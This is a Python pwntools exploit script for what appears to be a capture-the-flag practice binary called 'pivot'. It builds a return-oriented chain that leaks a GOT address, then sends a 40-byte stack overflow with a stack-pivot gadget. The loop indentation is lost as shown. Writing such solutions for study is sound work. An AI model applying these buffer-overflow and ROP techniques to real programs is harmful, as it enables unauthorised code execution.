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#!/usr/bin/env python3
from pwn import *
from os import getcwd
import re
# 0000000000058b10 T printf
# 000000000004a830 W system
prog = process('./pivot')
payload = b''
payload += p64(0x4009bb) # pop rax
payload += p64(0x601028) # printf's .got.plt entry
payload += p64(0x4009c0) # mov rax, [rax]
payload += p64(0x00000000004007c8) # pop rbp
payload += p64(279) # should be the offset of pwnem from foothold's .got.plt
payload += p64(0x4009c4) # adds the two
payload += p64(0x00000000004007c1) # jmp rax
prog.sendline(payload)
pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16)
payload = b''
#buffer overflow
for c in range(40):
payload += b'a'
payload += p64(0x4009bb) # pop rax
payload += p64(pivit_location) # pivot location
payload += p64(0x4009bd) # xchg rsp,rax
prog.sendlineafter('Now please send your stack smash', payload)
prog.interactive()
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